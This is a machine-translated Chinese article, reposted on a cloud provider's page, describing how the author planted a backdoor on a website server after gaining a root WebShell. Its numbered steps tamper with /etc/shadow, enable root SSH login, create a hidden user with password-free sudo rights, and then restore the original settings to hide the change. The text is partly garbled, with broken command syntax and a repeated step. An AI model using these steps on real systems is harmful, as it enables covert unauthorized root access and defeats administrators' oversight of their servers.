Linux privilege escalation Root privilege WebShell Privilege Escalation

Source: Internet
Author: User
Article Title: linux elevation of Root privilege WebShell Elevation of Privilege. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.

There is no technical knowledge. It is a way of thinking that some people who get the Root permission WebShell can quickly get the permission.

One day, I got a website WebShell and RedHat (red-flag Linux) system. Tomcat is started as Root, and WebShell also has Root permissions.

Specific Elevation of Privilege:

1. Replace the Root password with WebShell:/etc/shadow // remember to back up

2. allow Root users to log on via ssh:

Modify:/etc/ssh/sshd_config

PermitRootLogin yes # Allow Root Login

3. restart the ssh service: service ssh restart

4. log on to ssh as Root and add a user:

Useradd application

Passwd // set the password as prompted

5. You do not need a password to change the su operation for the application User:

Chmod + w/etc/sudoers // Add write permission, read-only by default

Modify:/etc/sudoers

Vi/etc/sudoers

Add: application ALL = (ALL) NOPASSWD: ALL

6. Change the Root password back to its original state and prohibit Root login. And remove sudoers write attributes (chmod-w/etc/sudoers ).

7. Of course, the last step is chmod-w/etc/sudoers.


Log on as the Root user.


Normal user login, su password-free access to the Root permission.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.